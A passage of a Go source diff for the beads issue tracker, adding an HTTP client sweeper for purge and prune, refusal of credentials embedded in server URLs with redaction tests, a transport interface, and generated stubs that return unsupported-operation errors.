{ + t.Errorf("SetLocalMetadata after Open: %v", err) + } + if _, err := os.Stat(filepath.Join(dir, LocalMetadataFileName)); err != nil { + t.Errorf("local metadata not written beside the sidecar: %v", err) + } +} + +// TestReadOnlyOpenServesTheClaimBdReadyMakes pins the posture +// NewReadOnlyFromConfig documents: the read-only open is writable. cmd/bd opens +// every classified read command through backends.Backend.OpenReadOnly, `bd +// ready --claim` included, and that command claims through the store it is +// handed. Wrapping this open to refuse writes — the obvious way to make a +// "read-only" open read-only — would break that claim on this backend while +// every role test, which builds its store with New, went on passing. +func TestReadOnlyOpenServesTheClaimBdReadyMakes(t *testing.T) { + dir := t.TempDir() + if err := SaveTarget(dir, pinnedProjectTarget(t)); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + claimed := &types.IssueWithCounts{Issue: &types.Issue{ID: "bd-1", Status: types.StatusInProgress, Assignee: "ada"}} + w := &stubWire{ + res: &apigen.ContextResponse{ProjectId: "proj-1", Capabilities: []string{claimNextToken(t)}}, + claimedNext: &apigen.ClaimNextResponse{Claimed: claimed}, + } + swapDialer(t, func(context.Context, Target) (WireClient, error) { return w, nil }) + + opened, err := NewReadOnlyFromConfig(context.Background(), dir) + if err != nil { + t.Fatalf("NewReadOnlyFromConfig: %v", err) + } + claimer, err := opened.ReadyClaimer() + if err != nil { + t.Fatalf("ReadyClaimer() on the read-only open: %v", err) + } + res, err := claimer.ClaimNext(context.Background(), issueops.ClaimNextRequest{Actor: "ada"}) + if err != nil { + t.Fatalf("ClaimNext through the read-only open: %v; `bd ready --claim` claims through this store", err) + } + if res.Claimed == nil || res.Claimed.ID != "bd-1" { + t.Errorf("ClaimNext answered %v, want the row the server claimed", res.Claimed) + } + if want := []string{"claimNextIssue"}; !equalCalls(w.calls, want) { + t.Errorf("the read-only open dispatched %v, want %v", w.calls, want) + } +} diff --git a/internal/httpclient/sweeper.go b/internal/httpclient/sweeper.go new file mode 100644 index 000000000..d4ab51999 --- /dev/null +++ b/internal/httpclient/sweeper.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/sweeper.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// httpSweeper serves issueops.Sweeper from the sweepIssues custom method +// (design D8 row 12) — the capability behind `bd purge` and `bd prune`. +// +// The mapping is NOT total, unlike bd-enterprise's: OSS's apigen.SweepRequest +// publishes tier, closed_before, pattern, protect_referenced, dry_run and +// actor, with no member for ProtectLiveDependents or Limit, and +// apigen.SweepResult carries no remaining member for SweepResult.Remaining to +// decode out of. Both refuse before the dial (W-SweepRequest.ProtectLiveDependents, +// W-SweepRequest.Limit) rather than silently running an unprotected or +// unbounded sweep, so SweepResult.Remaining is always zero from this client — +// never a dropped count, since a Limit refuses before anything could be left +// over to report. +// +// WHAT IS NOT DECIDED HERE, deliberately: the require-a-filter gate, the glob's +// well-formedness and the tier's own predicate. All three are the ROLE's, they +// live below the server's handler, and the server routes this request through +// the same issueops.Sweeper a local workspace uses — so re-deciding any of them +// client-side would be a second definition of the rule that keeps a workspace's +// history from being erased by an omission. They come back as +// issueops.ErrValidation, which is what the role's contract promises. +// +// The ONE thing decided here is the tier VOCABULARY, because the tier is an +// enum on the wire and this client has to map it. An unrecognized tier refuses +// before the dial rather than as a 400, which is the rule every other write on +// this surface follows for a request its own contract calls invalid. +type httpSweeper struct { + store *Store + wire WriteWire +} + +var _ issueops.Sweeper = (*httpSweeper)(nil) + +// Sweep dials POST /v0/beads/issues:sweep. +// +// BOTH BOOLEANS ARE SENT EXPLICITLY, and protect_referenced is the one that +// matters: the wire DEFAULTS it ON when the member is absent (an unauthenticated +// surface is where a default must be the guarded one), while the role's zero +// value is off. A client that omitted it would turn `bd prune +// --ignore-references` into a protected sweep and report the protection as +// skips the caller never asked for — a narrower answer than the request, which +// is the same failure class refuse-not-drop exists to stop, in the other +// direction. +func (s *httpSweeper) Sweep(ctx context.Context, req issueops.SweepRequest) (result issueops.SweepResult, err error) { + // Decorates ProtectLiveDependents/Limit's bare *encode.RefusedError into the + // same *InexpressibleError shape a read refusal gets, so errors.As(err, + // &unsupported) reaches *storage.ErrUnsupported here too (write-side parity, + // see (*Store).inexpressible's doc). A non-refusal error passes through + // unchanged. + defer func() { err = s.store.inexpressible("Sweeper.Sweep", err) }() + // Refuse-not-drop on the two members this wire has no place for. Both + // checks run before the tier is even validated, for the same reason every + // other raw refusal here precedes the dial: a caller who asked for a + // protection or a bound this client cannot honor must not learn that only + // after an unprotected or unbounded sweep already ran. + if req.ProtectLiveDependents { + return issueops.SweepResult{}, refuse(encode.OpSweepIssues, "W-SweepRequest.ProtectLiveDependents") + } + if req.Limit != 0 { + return issueops.SweepResult{}, refuse(encode.OpSweepIssues, "W-SweepRequest.Limit") + } + + tier := apigen.SweepRequestTier(req.Tier) + if !tier.Valid() { + return issueops.SweepResult{}, invalid("sweep tier %q is not %q or %q", + string(req.Tier), apigen.Ephemeral, apigen.Durable) + } + + body := apigen.SweepRequest{ + Tier: tier, + ProtectReferenced: &req.ProtectReferenced, + DryRun: &req.DryRun, + } + if strings.TrimSpace(req.Actor) != "" { + // Omitted rather than sent blank: the role accepts an empty Actor — a + // deleted row leaves nothing to attribute the deletion on — and the + // server refuses an actor that is empty AFTER TRIMMING. The trim is the + // whole test, not `!= ""`: a whitespace-only Actor is an accepted + // request locally and would come back a 400 over http. + body.Actor = &req.Actor + } + if req.IDPattern != "" { + body.Pattern = &req.IDPattern + } + if req.ClosedBefore != nil { + // Copied, never aliased: SweepRequest promises implementations never + // write through a caller's pointer, and handing this one to a marshaler + // is the kind of borrow that becomes a write when a helper is added. + cutoff := *req.ClosedBefore + body.ClosedBefore = &cutoff + } + + res, err := s.wire.SweepIssues(ctx, body) + if err != nil { + return issueops.SweepResult{}, err + } + return sweepResult(res), nil +} + +// sweepResult projects the wire's answer onto the role's. +// +// It is a field list rather than a cast because SweepResult is deliberately not +// x-go-type-pinned on the wire: there is no canonical Go struct whose JSON +// encoding is that body, so this is the one place the two shapes are held +// together. TestSweepResultCarriesEveryWireMember is what keeps a member the +// server grows from being dropped here in silence. +func sweepResult(res *apigen.SweepResult) issueops.SweepResult { + out := issueops.SweepResult{ + DryRun: res.DryRun, + Swept: res.Swept, + Dependencies: res.Dependencies, + Labels: res.Labels, + Events: res.Events, + Skipped: issueops.SweepSkips{ + Pinned: res.Skipped.Pinned, + Referenced: res.Skipped.Referenced, + NotClosed: res.Skipped.NotClosed, + UnknownClosedAt: res.Skipped.UnknownClosedAt, + ClosedAtOrAfterCutoff: res.Skipped.ClosedAtOrAfterCutoff, + Unreadable: res.Skipped.Unreadable, + }, + } + if res.ReferencedIds != nil { + out.ReferencedIDs = append([]string(nil), *res.ReferencedIds...) + } + return out +} diff --git a/internal/httpclient/target.go b/internal/httpclient/target.go index 81a482b23..ca86c9e77 100644 --- a/internal/httpclient/target.go +++ b/internal/httpclient/target.go @@ -49,11 +49,26 @@ type Target struct { // String renders the target for error text. A zero Target renders empty, which // is what keeps a backstop refusal from naming a server it never resolved. +// +// Userinfo is dropped rather than masked: url.URL.Redacted hides only a +// password, so a token riding as the username ("https://@host") would +// still print. LoadTarget and SaveTarget refuse userinfo outright; this covers +// a Target an embedder built by hand. func (t Target) String() string { if t.BaseURL == nil { return "" } - return t.BaseURL.String() + return withoutUserinfo(t.BaseURL).String() +} + +// withoutUserinfo returns u with its userinfo removed, leaving u untouched. +func withoutUserinfo(u *url.URL) *url.URL { + if u.User == nil { + return u + } + stripped := *u + stripped.User = nil + return &stripped } // targetFile is the on-disk sidecar. `api` is recorded so a future path major @@ -101,12 +116,29 @@ func LoadTarget(beadsDir string) (Target, error) { if u.Scheme != "http" && u.Scheme != "https" { return Target{}, fmt.Errorf("url in %s has scheme %q; want http or https", TargetFileName, u.Scheme) } + if err := checkNoUserinfo(u); err != nil { + return Target{}, err + } if err := checkCAFileAbsolute(f.CAFile); err != nil { return Target{}, err } return Target{BaseURL: u, ExpectProjectID: f.ExpectProjectID, CAFile: f.CAFile}, nil } +// checkNoUserinfo refuses a url carrying userinfo ("user:secret@host"). +// LoadTarget and SaveTarget share it, as they share checkCAFileAbsolute. A +// credential in the url would sit in the sidecar, outside the bearer ladder and +// its host scoping, and would print wherever the url does. The refusal names +// the url without its userinfo, so it does not print the credential either. +func checkNoUserinfo(u *url.URL) error { + if u == nil || u.User == nil { + return nil + } + return fmt.Errorf( + "url in %s (%s) carries userinfo; a credential does not belong in the url — re-run `bd connect` with the url alone and supply the token through %s, %s, or the credentials file", + TargetFileName, withoutUserinfo(u), TokenEnv, TokenCommandEnv) +} + // checkCAFileAbsolute refuses a relative ca_file (see Target.CAFile). LoadTarget // and SaveTarget share it, so a sidecar can never be written holding a value // every later load would refuse. @@ -122,8 +154,12 @@ func checkCAFileAbsolute(caFile string) error { // SaveTarget writes the sidecar 0600, beside metadata.json. It exists so tests // and the connect command share one encoder; the connect UX itself (gitignore // coverage, identity verification, conversion consent) is not here. It refuses -// a relative CAFile before writing anything, with LoadTarget's own message. +// a url carrying userinfo and a relative CAFile before writing anything, with +// LoadTarget's own messages. func SaveTarget(beadsDir string, t Target) error { + if err := checkNoUserinfo(t.BaseURL); err != nil { + return err + } if err := checkCAFileAbsolute(t.CAFile); err != nil { return err } diff --git a/internal/httpclient/target_seam.go b/internal/httpclient/target_seam.go new file mode 100644 index 000000000..b49d8d6ee --- /dev/null +++ b/internal/httpclient/target_seam.go @@ -0,0 +1,74 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/target.go (store transport seam)@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// WireClient is the transport seam between this store and a remote bd serve. +// +// The store skeleton dispatches no operations: the wire-core bead owns +// transport and each role bead grows this interface as it wires its operation. +// ServerContext is here from the start because the store itself owns the +// handshake snapshot — the workspace-identity probe reads it (D4) and the +// refusal taxonomy renders it (D7) — and because D6 makes the fetch lazy, so a +// store can be constructed before one exists. +// +// THE TWO HALVES ARE SHAPED DIFFERENTLY, and the difference is the roles', not +// an inconsistency. The write roles declare OPERATION-SHAPED methods in an +// interface of their own (WriteWire, embedded below): each one is a distinct +// body, a distinct request document and a distinct set of typed conflicts to +// reconstruct, so a role bead states exactly the operations it needs. The read +// roles dispatch GENERICALLY — they differ only in the parameters the encoder +// produced and the envelope they decode — so what they need from a transport is +// not an operation but the two primitives every dispatch goes through, which is +// why Preflight and Do sit on this interface rather than in a ReadWire nobody +// would implement separately. +// +// They are two primitives rather than one on purpose: D6's two-speed policy has +// to be able to refuse a post-baseline operation BEFORE a request is built, and +// folding the handshake into the round trip would make that unexpressible. Both +// are satisfied verbatim by *wire.Client. +type WireClient interface { + ServerContext(ctx context.Context) (*apigen.ContextResponse, error) + + // Preflight applies the capability policy for an operation: a baseline + // operation returns immediately, every other one forces the handshake and + // checks its token. + Preflight(ctx context.Context, op string) error + // Do issues one v0 request and decodes its 2xx body into out, which may be + // nil for a response the caller does not read. + Do(ctx context.Context, req wire.Request, out any) error + + // WriteWire is the write roles' half of the seam (writewire.go). A role + // bead grows this interface by embedding its own, rather than by appending + // methods here: the store still holds ONE transport and the compiler still + // proves a build linked a complete one, but the operations a role needs are + // declared beside the role that needs them. + WriteWire +} + +// There is no StreamWire half of this seam. S3 reconciliation (gc +// native-program, 2026-10) removed it along with journal_watch.go: OSS +// publishes no journalops.Watcher for a WATCH role to implement, so there is +// no operation-shaped streaming method for a transport to grow. The paged +// journal read (journalops.Journal, journal.go) is unaffected — it dispatches +// through the same two generic primitives every other read role uses. + +// WireDialer builds the transport for a resolved target. +type WireDialer func(ctx context.Context, target Target) (WireClient, error) + +// dialer is the process-wide transport constructor. It is nil until the +// wire-core bead registers one, which is what lets this package ship the store, +// the refusal surface and the registration glue without depending on transport. +var dialer WireDialer + +// RegisterWireDialer installs the transport constructor Open uses. Init-time +// wiring only, the same rule as backends.Register: it is not safe against +// concurrent Opens and there is exactly one production call site. +func RegisterWireDialer(d WireDialer) { dialer = d } diff --git a/internal/httpclient/target_test.go b/internal/httpclient/target_test.go index 783c54438..39a915a50 100644 --- a/internal/httpclient/target_test.go +++ b/internal/httpclient/target_test.go @@ -70,6 +70,62 @@ func TestSaveTargetHoldsNoToken(t *testing.T) { } } +// TestTargetRefusesUserinfo closes the one way a credential could still reach +// the sidecar: a url with userinfo. SaveTarget refuses it and writes nothing, +// LoadTarget refuses a sidecar holding one with the same message, and neither +// message prints the credential. +func TestTargetRefusesUserinfo(t *testing.T) { + const secret = "s3cr3t" + for _, tc := range []struct{ name, url string }{ + {"user and password", "https://ada:" + secret + "@serve.example.com"}, + {"a token as the username", "https://" + secret + "@serve.example.com"}, + } { + t.Run(tc.name, func(t *testing.T) { + dir := t.TempDir() + saveErr := SaveTarget(dir, Target{BaseURL: mustParseURL(t, tc.url)}) + if saveErr == nil { + t.Fatal("SaveTarget accepted a url carrying userinfo") + } + if _, err := LoadTarget(dir); !errors.Is(err, ErrNotConnected) { + t.Errorf("LoadTarget after the refused save = %v, want ErrNotConnected: nothing may be written", err) + } + + seeded := t.TempDir() + if err := os.WriteFile(TargetPath(seeded), []byte(`{"url":"`+tc.url+`"}`), 0o600); err != nil { + t.Fatalf("seed sidecar: %v", err) + } + _, loadErr := LoadTarget(seeded) + if loadErr == nil { + t.Fatal("LoadTarget accepted a url carrying userinfo") + } + if saveErr.Error() != loadErr.Error() { + t.Errorf("SaveTarget refused with %q; want LoadTarget's own refusal %q", saveErr, loadErr) + } + if strings.Contains(loadErr.Error(), secret) { + t.Fatalf("the refusal printed the credential: %v", loadErr) + } + if !strings.Contains(loadErr.Error(), "https://serve.example.com") { + t.Errorf("error %q does not name the server", loadErr) + } + }) + } +} + +// TestTargetStringDropsUserinfo: error text renders a target through String, so +// a Target built by hand with userinfo must not print it — the username +// included, which url.URL.Redacted would keep. +func TestTargetStringDropsUserinfo(t *testing.T) { + for _, raw := range []string{"https://ada:s3cr3t@serve.example.com/v0", "https://s3cr3t@serve.example.com/v0"} { + u := mustParseURL(t, raw) + if got, want := (Target{BaseURL: u}).String(), "https://serve.example.com/v0"; got != want { + t.Errorf("Target{%s}.String() = %q, want %q", raw, got, want) + } + if u.User == nil { + t.Errorf("String stripped userinfo from the caller's url rather than a copy") + } + } +} + // TestLoadTargetRejectsRelativeCAFile is finding 3: a relative ca_file in the // sidecar must be refused with a clear error rather than resolved against // whatever directory `bd` happens to be run from, which would silently pick a diff --git a/internal/httpclient/unsupported.go b/internal/httpclient/unsupported.go new file mode 100644 index 000000000..33d981956 --- /dev/null +++ b/internal/httpclient/unsupported.go @@ -0,0 +1,26 @@ +package httpclient + +// Regeneration: S3 reconciliation (2026-10) replaced +// bd-enterprise's lifted generator and its hand-maintained -skip allowlist +// with internal/storage/unsupportedgen, a from-scratch tool written for this +// client. It takes no skip list: it parses this package's own non-test +// sources for every method already declared on *Store (the wire-backed role +// accessors in accessors.go, the off-role raw methods with a v0 mapping in +// offrole.go and lifecycle.go's CloseIssue, the commit family and Close in +// store.go, the metadata trio in metadata.go, and vocabulary.go's reads) and +// generates a stub for every OTHER storage.DoltStorage method. A hand-written +// method and a generated one can never collide on the same selector, and +// there is no allowlist to keep in sync by hand — adding a hand-written +// override just removes that method from the next regeneration automatically. +// +// Never hand-edit unsupported_gen.go. Regenerate with `go generate ./...` +// after adding or removing a hand-written DoltStorage method; store.go's +// `var _ storage.DoltStorage = (*Store)(nil)` assertion is the drift tripwire +// against a storage.DoltStorage interface change the regeneration itself +// doesn't already surface (an interface method neither hand-written nor +// generated fails that assertion at compile time). +// +// The tool path is one level up because this package sits beside +// internal/storage, both direct children of internal/. +// +//go:generate go run ../storage/unsupportedgen -type DoltStorage -pkg httpclient -receiver Store -out unsupported_gen.go diff --git a/internal/httpclient/unsupported_gen.go b/internal/httpclient/unsupported_gen.go new file mode 100644 index 000000000..79e696c54 --- /dev/null +++ b/internal/httpclient/unsupported_gen.go @@ -0,0 +1,745 @@ +// Code generated by unsupportedgen (internal/storage/unsupportedgen); DO NOT EDIT. +// Regenerate with `go generate ./...` after a storage.DoltStorage interface change. + +package httpclient + +import ( + "context" + "encoding/json" + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" + "time" +) + +// unsupportedDoltStorage is the generated typed-unsupported shell for storage.DoltStorage. +// Every method returns *storage.ErrUnsupported via errUnsupported; embed it and +// override the real slice. DO NOT hand-edit — regenerate with `go generate ./...`. +type unsupportedDoltStorage struct{} + +func (unsupportedDoltStorage) AddComment(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("AddComment") + return +} + +func (unsupportedDoltStorage) AddDependency(_ context.Context, _ *types.Dependency, _ string) (err error) { + err = errUnsupported("AddDependency") + return +} + +func (unsupportedDoltStorage) AddDependencyWithOptions(_ context.Context, _ *types.Dependency, _ string, _ storage.DependencyAddOptions) (err error) { + err = errUnsupported("AddDependencyWithOptions") + return +} + +func (unsupportedDoltStorage) AddFederationPeer(_ context.Context, _ *storage.FederationPeer) (err error) { + err = errUnsupported("AddFederationPeer") + return +} + +func (unsupportedDoltStorage) AddIssueComment(_ context.Context, _ string, _ string, _ string) (_ *types.Comment, err error) { + err = errUnsupported("AddIssueComment") + return +} + +func (unsupportedDoltStorage) AddLabel(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("AddLabel") + return +} + +func (unsupportedDoltStorage) AddRemote(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("AddRemote") + return +} + +func (unsupportedDoltStorage) AddRemoteWithRef(_ context.Context, _ string, _ string, _ string) (err error) { + err = errUnsupported("AddRemoteWithRef") + return +} + +func (unsupportedDoltStorage) ApplyCompaction(_ context.Context, _ string, _ int, _ int, _ int, _ string) (err error) { + err = errUnsupported("ApplyCompaction") + return +} + +func (unsupportedDoltStorage) AsOf(_ context.Context, _ string, _ string) (_ *types.Issue, err error) { + err = errUnsupported("AsOf") + return +} + +func (unsupportedDoltStorage) Bootstrapper() (_ issueops.Bootstrapper, err error) { + err = errUnsupported("Bootstrapper") + return +} + +func (unsupportedDoltStorage) Branch(_ context.Context, _ string) (err error) { + err = errUnsupported("Branch") + return +} + +func (unsupportedDoltStorage) CheckEligibility(_ context.Context, _ string, _ int) (_ bool, _ string, err error) { + err = errUnsupported("CheckEligibility") + return +} + +func (unsupportedDoltStorage) Checkout(_ context.Context, _ string) (err error) { + err = errUnsupported("Checkout") + return +} + +func (unsupportedDoltStorage) ClaimIssue(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("ClaimIssue") + return +} + +func (unsupportedDoltStorage) ClaimReadyIssue(_ context.Context, _ types.WorkFilter, _ string) (_ *types.Issue, err error) { + err = errUnsupported("ClaimReadyIssue") + return +} + +func (unsupportedDoltStorage) ClearRepoMtime(_ context.Context, _ string) (err error) { + err = errUnsupported("ClearRepoMtime") + return +} + +func (unsupportedDoltStorage) CloseIssueChecked(_ context.Context, _ string, _ string, _ storage.CloseIssueOptions) (_ storage.CloseIssueResult, err error) { + err = errUnsupported("CloseIssueChecked") + return +} + +func (unsupportedDoltStorage) CommitExists(_ context.Context, _ string) (_ bool, err error) { + err = errUnsupported("CommitExists") + return +} + +func (unsupportedDoltStorage) CountDependencies(_ context.Context, _ string) (_ int64, err error) { + err = errUnsupported("CountDependencies") + return +} + +func (unsupportedDoltStorage) CountDependentRecords(_ context.Context, _ string, _ string) (_ int, err error) { + err = errUnsupported("CountDependentRecords") + return +} + +func (unsupportedDoltStorage) CountDependents(_ context.Context, _ string) (_ int64, err error) { + err = errUnsupported("CountDependents") + return +} + +func (unsupportedDoltStorage) CountDependentsByStatus(_ context.Context, _ string, _ types.Status) (_ int64, err error) { + err = errUnsupported("CountDependentsByStatus") + return +} + +func (unsupportedDoltStorage) CountEvents(_ context.Context, _ string, _ int) (_ int64, err error) { + err = errUnsupported("CountEvents") + return +} + +func (unsupportedDoltStorage) CountIssueComments(_ context.Context, _ string) (_ int64, err error) { + err = errUnsupported("CountIssueComments") + return +} + +func (unsupportedDoltStorage) CountIssues(_ context.Context, _ string, _ types.IssueFilter) (_ int64, err error) { + err = errUnsupported("CountIssues") + return +} + +func (unsupportedDoltStorage) CountIssuesByGroup(_ context.Context, _ types.IssueFilter, _ string) (_ map[string]int, err error) { + err = errUnsupported("CountIssuesByGroup") + return +} + +func (unsupportedDoltStorage) CreateIssue(_ context.Context, _ *types.Issue, _ string) (err error) { + err = errUnsupported("CreateIssue") + return +} + +func (unsupportedDoltStorage) CreateIssues(_ context.Context, _ []*types.Issue, _ string) (err error) { + err = errUnsupported("CreateIssues") + return +} + +func (unsupportedDoltStorage) CreateIssuesWithFullOptions(_ context.Context, _ []*types.Issue, _ string, _ storage.BatchCreateOptions) (err error) { + err = errUnsupported("CreateIssuesWithFullOptions") + return +} + +func (unsupportedDoltStorage) CurrentBranch(_ context.Context) (_ string, err error) { + err = errUnsupported("CurrentBranch") + return +} + +func (unsupportedDoltStorage) DeleteBranch(_ context.Context, _ string) (err error) { + err = errUnsupported("DeleteBranch") + return +} + +func (unsupportedDoltStorage) DeleteConfig(_ context.Context, _ string) (err error) { + err = errUnsupported("DeleteConfig") + return +} + +func (unsupportedDoltStorage) DeleteIssue(_ context.Context, _ string) (err error) { + err = errUnsupported("DeleteIssue") + return +} + +func (unsupportedDoltStorage) DeleteIssues(_ context.Context, _ []string, _ bool, _ bool, _ bool) (_ *types.DeleteIssuesResult, err error) { + err = errUnsupported("DeleteIssues") + return +} + +func (unsupportedDoltStorage) DeleteIssuesBySourceRepo(_ context.Context, _ string) (_ int, err error) { + err = errUnsupported("DeleteIssuesBySourceRepo") + return +} + +func (unsupportedDoltStorage) DetectCycles(_ context.Context) (_ [][]*types.Issue, err error) { + err = errUnsupported("DetectCycles") + return +} + +func (unsupportedDoltStorage) Diff(_ context.Context, _ string, _ string) (_ []*storage.DiffEntry, err error) { + err = errUnsupported("Diff") + return +} + +func (unsupportedDoltStorage) EventsSince(_ context.Context, _ storage.EventCursor, _ string, _ int) (_ []*types.Event, err error) { + err = errUnsupported("EventsSince") + return +} + +func (unsupportedDoltStorage) Fetch(_ context.Context, _ string) (err error) { + err = errUnsupported("Fetch") + return +} + +func (unsupportedDoltStorage) FindWispDependentsRecursive(_ context.Context, _ []string) (_ map[string]bool, err error) { + err = errUnsupported("FindWispDependentsRecursive") + return +} + +func (unsupportedDoltStorage) ForcePush(_ context.Context) (err error) { + err = errUnsupported("ForcePush") + return +} + +func (unsupportedDoltStorage) GetAllDependencyRecords(_ context.Context) (_ map[string][]*types.Dependency, err error) { + err = errUnsupported("GetAllDependencyRecords") + return +} + +func (unsupportedDoltStorage) GetAllEventsSince(_ context.Context, _ time.Time) (_ []*types.Event, err error) { + err = errUnsupported("GetAllEventsSince") + return +} + +func (unsupportedDoltStorage) GetBlockedIssues(_ context.Context, _ types.WorkFilter) (_ []*types.BlockedIssue, err error) { + err = errUnsupported("GetBlockedIssues") + return +} + +func (unsupportedDoltStorage) GetBlockingInfoForIssues(_ context.Context, _ []string) (_ map[string][]string, _ map[string][]string, _ map[string]string, err error) { + err = errUnsupported("GetBlockingInfoForIssues") + return +} + +func (unsupportedDoltStorage) GetCommentCounts(_ context.Context, _ []string) (_ map[string]int, err error) { + err = errUnsupported("GetCommentCounts") + return +} + +func (unsupportedDoltStorage) GetCommentsForIssues(_ context.Context, _ []string) (_ map[string][]*types.Comment, err error) { + err = errUnsupported("GetCommentsForIssues") + return +} + +func (unsupportedDoltStorage) GetCompactionSnapshot(_ context.Context, _ string) (_ *types.IssueSnapshot, err error) { + err = errUnsupported("GetCompactionSnapshot") + return +} + +func (unsupportedDoltStorage) GetConflicts(_ context.Context) (_ []storage.Conflict, err error) { + err = errUnsupported("GetConflicts") + return +} + +func (unsupportedDoltStorage) GetCurrentCommit(_ context.Context) (_ string, err error) { + err = errUnsupported("GetCurrentCommit") + return +} + +func (unsupportedDoltStorage) GetDependencies(_ context.Context, _ string) (_ []*types.Issue, err error) { + err = errUnsupported("GetDependencies") + return +} + +func (unsupportedDoltStorage) GetDependencyCounts(_ context.Context, _ []string) (_ map[string]*types.DependencyCounts, err error) { + err = errUnsupported("GetDependencyCounts") + return +} + +func (unsupportedDoltStorage) GetDependencyRecordsForIssues(_ context.Context, _ []string) (_ map[string][]*types.Dependency, err error) { + err = errUnsupported("GetDependencyRecordsForIssues") + return +} + +func (unsupportedDoltStorage) GetDependencyTree(_ context.Context, _ string, _ int, _ bool, _ bool) (_ []*types.TreeNode, err error) { + err = errUnsupported("GetDependencyTree") + return +} + +func (unsupportedDoltStorage) GetDependentRecords(_ context.Context, _ string, _ string, _ int, _ string) (_ []*types.Dependency, err error) { + err = errUnsupported("GetDependentRecords") + return +} + +func (unsupportedDoltStorage) GetDependentRecordsForIssues(_ context.Context, _ []string) (_ map[string][]*types.Dependency, err error) { + err = errUnsupported("GetDependentRecordsForIssues") + return +} + +func (unsupportedDoltStorage) GetDependents(_ context.Context, _ string) (_ []*types.Issue, err error) { + err = errUnsupported("GetDependents") + return +} + +func (unsupportedDoltStorage) GetEpicsEligibleForClosure(_ context.Context) (_ []*types.EpicStatus, err error) { + err = errUnsupported("GetEpicsEligibleForClosure") + return +} + +func (unsupportedDoltStorage) GetEvents(_ context.Context, _ string, _ int) (_ []*types.Event, err error) { + err = errUnsupported("GetEvents") + return +} + +func (unsupportedDoltStorage) GetFederationPeer(_ context.Context, _ string) (_ *storage.FederationPeer, err error) { + err = errUnsupported("GetFederationPeer") + return +} + +func (unsupportedDoltStorage) GetIssueByExternalRef(_ context.Context, _ string) (_ *types.Issue, err error) { + err = errUnsupported("GetIssueByExternalRef") + return +} + +func (unsupportedDoltStorage) GetIssueCommentsPage(_ context.Context, _ string, _ storage.CommentPageCursor, _ int) (_ []*types.Comment, err error) { + err = errUnsupported("GetIssueCommentsPage") + return +} + +func (unsupportedDoltStorage) GetIssuesByIDs(_ context.Context, _ []string) (_ []*types.Issue, err error) { + err = errUnsupported("GetIssuesByIDs") + return +} + +func (unsupportedDoltStorage) GetIssuesByLabel(_ context.Context, _ string) (_ []*types.Issue, err error) { + err = errUnsupported("GetIssuesByLabel") + return +} + +func (unsupportedDoltStorage) GetLabelsForIssues(_ context.Context, _ []string) (_ map[string][]string, err error) { + err = errUnsupported("GetLabelsForIssues") + return +} + +func (unsupportedDoltStorage) GetMoleculeLastActivity(_ context.Context, _ string) (_ *types.MoleculeLastActivity, err error) { + err = errUnsupported("GetMoleculeLastActivity") + return +} + +func (unsupportedDoltStorage) GetMoleculeProgress(_ context.Context, _ string) (_ *types.MoleculeProgressStats, err error) { + err = errUnsupported("GetMoleculeProgress") + return +} + +func (unsupportedDoltStorage) GetNewlyUnblockedByClose(_ context.Context, _ string) (_ []*types.Issue, err error) { + err = errUnsupported("GetNewlyUnblockedByClose") + return +} + +func (unsupportedDoltStorage) GetNextChildID(_ context.Context, _ string) (_ string, err error) { + err = errUnsupported("GetNextChildID") + return +} + +func (unsupportedDoltStorage) GetProvenanceByRef(_ context.Context, _ string) (_ []types.ProvenanceEvent, err error) { + err = errUnsupported("GetProvenanceByRef") + return +} + +func (unsupportedDoltStorage) GetProvenanceEvents(_ context.Context, _ string, _ string) (_ []types.ProvenanceEvent, err error) { + err = errUnsupported("GetProvenanceEvents") + return +} + +func (unsupportedDoltStorage) GetRepoMtime(_ context.Context, _ string) (_ int64, err error) { + err = errUnsupported("GetRepoMtime") + return +} + +func (unsupportedDoltStorage) GetStaleIssues(_ context.Context, _ types.StaleFilter) (_ []*types.Issue, err error) { + err = errUnsupported("GetStaleIssues") + return +} + +func (unsupportedDoltStorage) GetStatisticsNoBlocked(_ context.Context) (_ *types.Statistics, err error) { + err = errUnsupported("GetStatisticsNoBlocked") + return +} + +func (unsupportedDoltStorage) GetTier1Candidates(_ context.Context) (_ []*types.CompactionCandidate, err error) { + err = errUnsupported("GetTier1Candidates") + return +} + +func (unsupportedDoltStorage) GetTier2Candidates(_ context.Context) (_ []*types.CompactionCandidate, err error) { + err = errUnsupported("GetTier2Candidates") + return +} + +func (unsupportedDoltStorage) HasRemote(_ context.Context, _ string) (_ bool, err error) { + err = errUnsupported("HasRemote") + return +} + +func (unsupportedDoltStorage) HeartbeatIssue(_ context.Context, _ string, _ string) (err error) { + err = errUnsupported("HeartbeatIssue") + return +} + +func (unsupportedDoltStorage) History(_ context.Context, _ string) (_ []*storage.HistoryEntry, err error) { + err = errUnsupported("History") + return +} + +func (unsupportedDoltStorage) ImportIssueComment(_ context.Context, _ string, _ string, _ string, _ time.Time) (_ *types.Comment, err error) { + err = errUnsupported("ImportIssueComment") + return +} + +func (unsupportedDoltStorage) InitVerifier() (_ issueops.InitVerifier, err error) { + err = errUnsupported("InitVerifier") + return +} + +func (unsupportedDoltStorage) IsBlocked(_ context.Context, _ string) (_ bool, _ []string, err error) { + err = errUnsupported("IsBlocked") + return +} + +func (unsupportedDoltStorage) IsBlockedBatch(_ context.Context, _ []string) (_ map[string]bool, err error) { + err = errUnsupported("IsBlockedBatch") + return +} + +func (unsupportedDoltStorage) IterAllDependencyRecords(_ context.Context) (_ storage.Iter[types.Dependency], err error) { + err = errUnsupported("IterAllDependencyRecords") + return +} + +func (unsupportedDoltStorage) IterAllEventsSince(_ context.Context, _ time.Time) (_ storage.Iter[types.Event], err error) { + err = errUnsupported("IterAllEventsSince") + return +} + +func 